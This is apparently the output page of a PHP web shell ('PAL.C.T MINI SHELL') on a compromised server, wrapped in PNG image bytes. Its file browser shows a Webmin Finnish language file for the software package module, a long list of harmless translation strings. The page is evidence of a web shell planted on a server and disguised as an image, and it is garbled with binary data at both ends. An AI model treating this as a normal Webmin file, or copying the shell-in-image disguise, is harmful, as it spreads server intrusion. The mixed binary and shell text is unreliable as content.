php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/software/lang/
upload
files >> //usr/libexec/webmin/software/lang/fi.auto

index_title=Ohjelmistopaketit
index_installed=Asennetut paketit
index_close=Sulje kaikki.
index_open=Avaa kaikki.
index_search=Etsi paketti:
index_install=Asenna uusi paketti
index_installmsg=Valitse paikka asentaa uusi $1 -paketti osoitteesta ..
index_local=Paikallisesta tiedostosta
index_uploaded=Lähetetystä tiedostosta
index_ftp=Ftp- tai http URL-osoitteesta
index_installok=Asentaa
index_ident=Tunnista tiedosto
index_identmsg=Kirjoita komento tai tiedoston polku, jota haluat etsiä $1 -tietokannasta.
index_identok=Etsiä:
index_all=Kaikki paketit
index_return=moduulihakemisto
index_treturn=paketti puu
index_tree=Pakkauspuu
index_epackagecmd=$1 pakettijärjestelmä vaatii $2 komennon
index_eupdatecmd=$1 päivitysjärjestelmä vaatii $2 -komennon
index_epackagecheck=Valittu paketinhallintajärjestelmä ei ole kelvollinen: $1. <br>Saatat joutua valitsemaan toisen järjestelmän<a href='$2'> moduulin määritys </a> -sivulta.
index_eupdatecheck=Valittu päivitysjärjestelmä ei ole kelvollinen: $1. <br>Saatat joutua valitsemaan toisen päivitysmenetelmän<a href='$2'> moduulin määrityksestä </a> -sivulta.
index_echeckpackage=Pakettijärjestelmää ei havaittu!
index_echeckupdate=Päivitysjärjestelmää ei havaittu!
index_filter=Suodata paketit
index_filterclear=Tyhjennä suodatin
index_filtered=Näytetään <tt>$1</tt> paketit pois <tt>$2</tt>

search_title=Pakettihaku
search_nomatch=Ei paketteja, jotka vastasivat $1 : tä
search_none=Ei mitään
search_desc=Kuvaus
search_class=luokka
search_pack=Paketti
search_match=Paketit, jotka vastaavat $1 
search_return=Hakutulokset
search_esearch=Et kirjoittanut mitään etsiäksesi!
search_delete=Poista valitut paketit
search_selall=Valitse kaikki
search_invert=Käänteinen valinta

edit_title=Muokkaa pakettia
edit_details=Paketin tiedot
edit_desc=Kuvaus
edit_pack=Paketti
edit_class=luokka
edit_none=Ei mitään
edit_ver=Versio
edit_vend=Myyjä
edit_arch=Arkkitehtuuri
edit_inst=asennetut
edit_list=Lista tiedostoja
edit_listdesc=Näytä kaikki paketin tiedostot ja niiden nykyinen vahvistustila.
edit_uninst=Uninstall
edit_uninstdesc=Poista tämä paketti järjestelmästäsi.
edit_return=paketin yksityiskohdat
edit_egone=Paketti ei ole enää asennettu

list_title=Paketitiedostot
list_files=Paketin $1 tiedostot
list_path=polku
list_owner=Omistaja
list_group=Ryhmä
list_type=Tyyppi
list_size=Koko
list_status=Tila
list_ok=kunnossa
list_view=(Katso)
list_eview= $1 : $2 avaaminen epäonnistui

delete_err=Paketin $1 poistaminen epäonnistui
delete_epack=Paketti $1 ei ole olemassa
delete_title=Poista paketti
delete_rusure=Haluatko varmasti poistaa paketin $1 ? Jopa $2 tiedostoa ($3) poistetaan lopullisesti.
delete_rusure2=Haluatko varmasti poistaa paketin $1 ?
delete_ok=Poistaa
delete_nodeps=Ohitetaan riippuvuudet?
delete_noscripts=Ohitetaanko skriptien poisto?
delete_efile=Virheellinen poistettava välitiedosto
delete_purge=Poistetaanko konfiguraatiotiedostot?
delete_depstoo=Poistettiin myös käyttämättömät riippuvuudet?

file_title=Tiedoston tiedot
file_notfound=Tietoja $1 : stä ei ole saatavana
file_path=polku
file_type=Tyyppi
file_perms=käyttöoikeudet
file_owner=Omistaja
file_group=Ryhmä
file_size=Koko
file_link=Linkki
file_pack=Paketti
file_class=luokka
file_desc=Kuvaus
file_none=Ei mitään

install_err=Paketin asennus epäonnistui
install_elocal=Paikallista tiedostoa ei annettu
install_elocal2='$1' ei ole olemassa
install_eupload=Selaimesi ei tue tiedostojen lähettämistä
install_eurl=Ymmärrettämätön URL '$1'
install_eupdate=Ei asennettavaa pakettia
install_edir=Ei kelvollinen hakemisto $1 
install_ezip=Virheellinen pakattu tai gzipattu $1 -tiedosto
install_efile=Virheellinen $1 -tiedosto
install_title=Asenna paketti
install_header=Asenna paketti
install_packs=Asennettavat paketit
install_ok=Asentaa

do_err=Paketin $1 asennus epäonnistui
do_title=Asenna paketti
do_efailed=Asennus epäonnistui : $1 
do_efailedmsg1=Voit yrittää asentaa uudelleen palaamalla edelliselle sivulle ja valitsemalla eri asennusvaihtoehdot.
do_efailedmsg2=Muutoin <a href='$1'>napsauta tätä poistaaksesi väliaikaisen paketitiedoston</a> säästääksesi levytilaa.
do_success=Paketti $1 asennettiin onnistuneesti
do_details=Paketin tiedot
do_desc=Kuvaus
do_class=luokka
do_pack=Paketti
do_ver=Versio
do_vend=Myyjä
do_arch=Arkkitehtuuri
do_inst=asennetut
do_none=Ei mitään
do_files=Paketitiedostot

pkgadd_root=Juurihakemisto
pkgadd_eroot=Juurihakemistoa '$1' ei ole
pkgadd_unknown=Tuntematon
pkgadd_manager=System V -paketinhallinta

rpm_upgrade=Päivitä paketti?
rpm_replacepkgs=Korvaako paketti?
rpm_nodeps=Ohitetaan riippuvuudet?
rpm_oldpackage=Korvaako uusi versio vanhalla?
rpm_noscripts=Suoritetaanko asennusohjelmat?
rpm_excludedocs=Asennatko asiakirjat?
rpm_replacefiles=Korvaako tiedostot?
rpm_notriggers=Suoritetaanko käynnistetyt skriptit?
rpm_ignoresize=Tarkista tiedostojärjestelmän koot?
rpm_root=Juurihakemisto
rpm_eroot=Juurihakemistoa '$1' ei ole
rpm_search=Hae rpmfind.net:
rpm_none=Hakuasi vastaavia paketteja ei löytynyt.
rpm_find=Hae rpmfind.net ..
rpm_findrpm=Paketin tiedostonimi
rpm_finddistro=Jakelu
rpm_finddesc=Kuvaus

bsd_unknown=Tuntematon
bsd_scripts=Suoritetaanko asennuksen ennakko- ja jälkeisiä komentosarjoja?
bsd_force=Pakota asennus, jos puuttuvat edellytykset?
bsd_manager=$1 paketinhallinta

slack_unclass=muut
slack_unknown=Tuntematon
slack_missing=puuttuva
slack_root=Juurihakemisto
slack_eroot=Puuttuva tai virheellinen juurihakemisto
slack_manager=Slackware Package Manager
slack_edir=Puuttuvat Slackware-pakettihakemisto $1 

debian_unknown=Tuntematon
debian_depends=Ohitetaan riippuvuusongelmat?
debian_conflicts=Ohitetaanko pakettiristiriidat?
debian_overwrite=Korvaako tiedostoja muista paketeista?
debian_downgrade=Korvataanko uudempi paketti vanhalla?
debian_manager=Debian DPKG

log_install_package=Asennettu paketti $1 
log_install_apt_l=Asennetut paketit $1 APT: ltä
log_install_apt=Asennettu $2 paketti APT: ltä
log_install_yum_l=Asennetut paketit $1 YUM: lta
log_install_yum=Asennettu $2 paketti alkaen YUM
log_install_rhn_l=Asennetut paketit $1 Redhat Networkistä
log_install_rhn=Asennettu $2 paketti Redhat Network: ltä
log_check_apt_l=Päivitetty paketti (t) $1 APT: ltä
log_check_apt=Päivitetty $2 pakettia APT: ltä
log_delete=Poista paketti $1 
log_deletes_l=Poista paketit $1 
log_deletes=Asennetut $1 paketit
log_urpmi_update=Päivitetty saatavilla olevat URPMI-paketit
log_urpmi_upgrade=Päivitetyt asennetut URPMI-paketit
log_upgrade_yum_l=Päivitetyt paketit $1 YUM: lta
log_upgrade_yum=Päivitetty $2 paketti YUM: lta
log_check_rhn_l=Päivitetyt paketit $1 Redhat Networkistä
log_check_rhn=Päivitetty $2 pakettia Redhat Network -palvelusta

rhn_input=Paketti Redhat Network -yritykseltä
rhn_find=Etsi RHN ..
rhn_install=Asennetaan paketteja komentoilla $1 ..
rhn_ok=.. asennus valmis.
rhn_failed=.. asennus epäonnistui!
rhn_title=Valitse RHN-paketti
rhn_pack=Paketti
rhn_version=Versio
rhn_form=Redhat-verkkoasetukset
rhn_header=Automaattiset paketin päivitysasetukset
rhn_auto=Tarkista päivitykset automaattisesti?
rhn_interval=Tarkastusväli
rhn_secs=pöytäkirja
rhn_apply=Tallenna ja käytä
rhn_now=Tallenna ja tarkista nyt
rhn_err=RHN-asetusten tallentaminen epäonnistui
rhn_einterval=Puuttuva tai virheellinen aikaväli
rhn_einterval2=Tarkastusvälin on oltava vähintään 120 sekuntia
rhn_check=Päivitysten tarkistaminen
rhn_checkdesc=Tarkistetaan päivitetyt paketit Redhat-verkosta komennolla $1 ..
rhn_nocheck=.. ei paketteja päivitetty.
rhn_proxy=Välityspalvelimen URL-osoite lataamista varten
rhn_none=Liikuntarajoitteinen
rhn_eproxy=Puuttuva tai virheellinen välityspalvelin
rhn_skip=Ohita vastaavat paketit
rhn_nonefound=Ei päivitettäviä paketteja.
rhn_name=Redhat-verkko

apt_input=Paketti APT: ltä
apt_install=Asennetaan paketteja komentoilla $1 ..
apt_ok=.. asennus valmis.
apt_failed=.. asennus epäonnistui!
apt_form=Päivitä kaikki paketit
apt_header=APT-paketin päivitysvaihtoehdot
apt_update=Synkronoi pakettiluettelo uudelleen (<tt>päivitys</tt>)
apt_mode=Päivitystila
apt_mode2=Jakelupäivitys (<tt>päivitys-dist</tt>)
apt_mode1=Normaali päivitys
apt_mode0=Älä päivitä
apt_sim=Näytä vain, mitkä paketit päivitetään
apt_apply=Päivitä nyt
apt_upgrade=Päivitä kaikki paketit
apt_updatedesc=Pakettiluettelon synkronointi uudelleen komennolla $1 ..
apt_updatefailed=.. uudelleen synkronointi epäonnistui!
apt_updateok=.. uudelleen synkronointi valmis.
apt_upgradedesc=Päivitetään kaikki paketit komennolla $1 ..
apt_upgradedescsim=Kaikkien pakettien päivityksen simulointi komennolla $1 ..
apt_upgradefailed=.. päivitys epäonnistui!
apt_upgradeok=.. päivitys valmis.
apt_search=Etsi vastaavia paketteja :
apt_find=Hae APT ..
apt_title=Hae APT: stä
apt_name=APT
apt_repo_url=Varastotietokannan URL-osoite
apt_repo_path=Jakelupolun komponentit
apt_repo_eurl=Puuttuva tai virheellisen näköinen perus-URL-osoite
apt_repo_epath=Puuttuva jakelupolku

yum_input=Pakkaus YUM: lta
yum_install=Asennetaan paketteja komentoilla $1 ..
yum_ok=.. asennus valmis.
yum_failed=.. asennus epäonnistui!
yum_find=Selaa YUM ..
yum_package=Paketti
yum_version=Versio
yum_arch=Arkkitehtuuri
yum_source=Lähde
yum_form=Päivitä kaikki paketit
yum_apply=Päivitä kaikki asennuspaketit sivustolta YUM
yum_upgrade=Päivitä kaikki paketit
yum_upgradedesc=Päivitetään kaikki paketit komennolla $1 ..
yum_upgradefailed=.. päivitys epäonnistui!
yum_upgradeok=.. päivitys valmis.
yum_title=Selaa YUM
yum_name=YUM
yum_enable=Ota arkisto käyttöön:
yum_none=&lt;Ei mitään&gt;
yum_repo_id=Varastotunnus
yum_repo_name=Varastokuvaus
yum_repo_url=Paketin perus-URL
yum_repo_gpg=GPG-varmennetiedosto
yum_repo_none=Ei allekirjoitettu
yum_repo_eid=Puuttuva tai virheellinen arkiston tunnus - sallitaan vain kirjaimet ja numerot
yum_repo_eidclash=Varastotunnus on jo käytössä
yum_repo_ename=Puuttuu arkiston nimi
yum_repo_eurl=Puuttuva tai virheellinen arkiston URL-osoite
yum_repo_egpg=GPG-varmennustiedosto puuttuu tai sitä ei ole
yum_repo_efile=Varastotiedosto on jo olemassa!

urpmi_name=urpmi
urpmi_input=Paketti URPMI: ltä
urpmi_find=Selaa URPMI ..
urpmi_form=Päivitä kaikki paketit
urpmi_update=Päivitä saatavilla olevat URPMI-paketit
urpmi_upgrade=Päivitä asennetut URPMI-paketit uusimpiin versioihin
urpmi_title_update=Päivitetään saatavilla olevia paketteja
urpmi_title_upgrade=Asennettujen pakettien päivittäminen
urpmi_updatedesc=Käynnissä komento $1 ..
uprmi_upgradefailed=.. epäonnistui!
urpmi_upgradeok=.. saattaa loppuun.
urpmi_install=Asennetaan paketteja komentoilla $1 ..
urpmi_ok=.. asennus valmis.
urpmi_failed=.. asennus epäonnistui!

rpm_missing=puuttuva
rpm_checkfail=$1 -tarkistus epäonnistui
rpm_md5=MD5
rpm_fsize=Tiedoston koko
rpm_sym=symlink
rpm_mtime=muokkausaika
rpm_dev=laite
rpm_user=käyttäjän omistajuus
rpm_perm=käyttöoikeudet
rpm_group=ryhmäomistus
rpm_erpm=RPM $1 ei löydy : $2 

soft_reg=Normaali tiedosto
soft_dir=hakemisto
soft_spec=Erityinen tiedosto
soft_sym=Symbolinen linkki
soft_hard=Kova linkki
soft_edit=Muokattava tiedosto
soft_efunc=$1 pakettijärjestelmän toimintojen lataus epäonnistui.
soft_euncompress=Tiedosto on pakattu, mutta <tt>purkaa</tt> -komentoa ei löydy järjestelmästäsi.
soft_euncmsg=Tiedoston purkaminen epäonnistui : $1 
soft_egzip=Tiedosto on gzipattu, mutta gzip-komentoa ei löydy järjestelmästäsi.
soft_egzmsg=Tiedoston ampuminen epäonnistui : $1 

aix_unknown=Tuntematon
aix_device=INPUT-laite / ohjelmistohakemisto
aix_software=OHJELMISTO asentaa
aix_preview=Vain ennakko? (asennustoiminto EI tapahtu)
aix_commit=COMMIT ohjelmistopäivitykset?
aix_save=TALLENNA korvatut tiedostot?
aix_auto=Asenna tarvittavat ohjelmistot automaattisesti?
aix_extend=LISÄÄ tiedostojärjestelmiä, jos tilaa tarvitaan?
aix_overwrite=YLI KIRJOITTAMA samat tai uudemmat versiot?
aix_verify=VARMISTA asentaa ja tarkistaa tiedostokoot?
aix_include=Sisällytetäänkö vastaavat LANGUAGE-tiedostojoukot?
aix_detail=YKSITYISKOHTAINEN tuotos?
aix_process=Käsitteletkö useita levyjä?
aix_accept=HYVÄKSYT uusia lisenssisopimuksia?
aix_license=Esikatsele uusia LISENSSISopimuksia?
aix_clean=Siivousasennuksen vika?
aix_manager=AIX-pakettihallinta

emerge_input=Portage-arkistosta
emerge_find=Hae ..
emerge_install=Asennetaan paketti komennolla $1 ..
emerge_failed=.. asennus epäonnistui!
emerge_ok=.. asennus valmis.
emerge_search=Etsi paketti:
emerge_pack=Paketti
emerge_class=luokka
emerge_version=Versio
emerge_desc=Kuvaus
emerge_none=Yksikään paketti ei vastannut hakuasi.
emerge_noreplace=Korvataanko olemassa olevat paketit?
emerge_onlydeps=Asennetaanko vain riippuvuuksia?
emerge_title=Hae Portagesta
emerge_name=portage

cygwin_fmissing=Tiedosto puuttuu
cygwin_lmissing=Tiedosto, johon linkkipisteet puuttuvat
cygwin_estat=Stat-tiedosto epäonnistui: $1 
cygwin_elread=Symlinkin lukeminen epäonnistui: $1 
cygwin_elstat=Stat-linkki epäonnistui: $1 
cygwin_badpostscript=Varoitus: tämä komentojono ei vaikuta suoritetulta
cygwin_pkgexists=Paketti $1 on jo olemassa.
cygwin_warnuse=Varoitus: Tämä ei ole virallinen käyttöliittymä Cygwin-ohjelmiston hallintaan. Käytä omalla vastuullasi.
cygwin_edb=Puuttuvat Cygwin-paketitietokanta $1 

deletes_err=Pakettien poistaminen epäonnistui
deletes_enone=Ei paketteja valittu
deletes_title=Poista paketit
deletes_desc=Poista paketteja $1.
deletes_failed1= $1:$2  : n asennuksen poistaminen epäonnistui
deletes_success1=Asennus $1 onnistui
deletes_failed2=Asennuksen poisto epäonnistui : $1 
deletes_success2=.. asennus on valmis.
deletes_rusure=Haluatko varmasti poistaa paketit $1 ?
deletes_ok=Poista ne kaikki

csw_input=Paketti CSW: ltä
csw_install=Asennetaan paketteja komentoilla $1 ..
csw_ok=.. asennus valmis.
csw_failed=.. asennus epäonnistui!
csw_already=.. jo asennettu.
csw_retry=.. yrittää uutta riippuvuutta.
csw_find=Selaa CSW ..
csw_package=Paketti
csw_version=Versio
csw_title=Selaa CSW: tä
csw_name=CSW
csw_form=Päivitä paketit
csw_upgrade=Päivitä kaikki asennetut paketit
csw_updatedesc=Päivitetään kaikki asennetut paketit komennolla $1 ..

missing_msg=Webmin voi asentaa $1 -paketin automaattisesti käyttämällä $2.
missing_now=Asenna nyt

find_title=Etsi paketti
find_search=Etsi vastaavia paketteja:
find_name=Nimi
find_version=Versio
find_desc=Kuvaus
find_none=Hakuasi vastaavia paketteja ei löytynyt.

msi_users=Aseta uusi sovellus sivustolle
msi_users0=ei kukaan
msi_users1=Nykyinen käyttäjä
msi_users2=Kaikki käyttäjät
msi_missing=Ei ole olemassa
msi_size=Väärä koko

hpux_create_target_path=Luoko kohdepolku?
hpux_mount_all_filesystems=Asennetaanko kaikki tiedostojärjestelmät?
hpux_reinstall=Asenna uudelleen?
hpux_reinstall_files=Asennako tiedostot uudelleen?
hpux_reinstall_files_use_cksum=Asennako tiedostot uudelleen käyttämällä tarkistussummaa?
hpux_allow_multiple_versions=Sallitaanko useita versioita?
hpux_defer_configure=Lopetetaanko asetusten määrittäminen?
hpux_autorecover_product=Autorecover tuote?
hpux_allow_downdate=Sallitaanko vanhentuminen?
hpux_allow_incompatible=Salli yhteensopimaton?
hpux_autoselect_dependencies=Autoselect riippuvuudet?
hpux_enforce_dependencies=Pakota riippuvuudet?
hpux_enforce_scripts=Ota skriptit käyttöön?
hpux_enforce_dsa=Aseta levytila-analyysi täytäntöön?
hpux_root=Juurihakemisto

ports_install=FreeBSD-porttien asennus $1 ..
ports_failed=.. jotkut satamat epäonnistuivat
ports_ok=.. asennus valmis
ports_input=Pakkaus satamista
ports_find=Etsi satamista
ports_name=FreeBSD-portit
ports_form=Päivitä porttitietokanta
ports_apply=Lataa viimeisin tilannekuva
ports_upgrade=Porttien tilannekuvan lataaminen
ports_running=Käynnissä komento $1 ..

pkg_install=FreeBSD-pakettien $1 asentaminen ..
pkg_failed=.. jotkut paketit epäonnistuivat
pkg_ok=.. asennus valmis
pkg_find=Hae pkgng
pkg_input=Pakkaus pkgng: ltä

pkgsrc_install=Pkgsrc-pakettien asennus $1.
pkgsrc_failed=.. jotkut paketit epäonnistuivat
pkgsrc_ok=.. asennus valmis
pkgsrc_find=Hae pkgng
pkgsrc_input=Paketti pkgsrc

log_IPKG_update=Päivitetty IPKG-tietokanta
log_IPKG_upgrade=Päivitetyt asennetut IPKG-paketit

IPKG_name=IPKG
IPKG_input=Paketti IPKG: ltä
IPKG_find=Selaa IPKG: tä ..
IPKG_form=Hallinnoi IPKG-paketteja
IPKG_update=Päivitä IPKG-pakettitietokanta
IPKG_upgrade=Päivitä asennetut IPKG-paketit
IPKG_title_update=Päivitetään IPKG-tietokantaa
IPKG_title_upgrade=Asennettujen pakettien päivittäminen
IPKG_updatedesc=Käynnissä komento $1 ..
IPKG_upgradefailed=.. epäonnistui!
IPKG_upgradeok=.. saattaa loppuun.
IPKG_install=Asennetaan paketteja komentoilla $1 ..
IPKG_ok=.. asennus valmis.
IPKG_failed=.. asennus epäonnistui!
IPKG_index_tree=Hallinnoi IPKG-paketteja
IPKG_install_package=Asentaa
IPKG_install_packagedesc=Asenna tämä paketti järjestelmään
IPKG_noupgrade=Mitään päivitettävää
IPKG-edit_title=Hallinnoi IPKG-pakettia
IPKG_update_avail=Päivitä saatavuus:
IPKG_not_installed=Pakettia ei ole asennettu
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`